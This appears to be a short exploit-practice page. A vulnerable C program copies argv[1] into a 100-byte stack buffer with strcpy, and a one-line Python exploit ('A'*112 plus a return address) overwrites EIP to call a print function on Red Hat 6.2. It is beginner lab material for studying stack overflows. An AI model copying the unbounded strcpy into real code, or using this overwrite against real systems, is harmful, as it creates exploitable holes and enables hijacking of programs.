This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void print(){ | |
printf("eip control success!\n"); | |
} | |
int main(int argc, char* argv[]){ | |
int i = 31337; | |
int a = 1337; | |
char buffer[100]; | |
strcpy(buffer, argv[1]); | |
printf("%s\n", buffer); | |
return 0; | |
} |
redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :
print "A"*112 + "\x33\x84\x04\x08"
♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡♡
답글삭제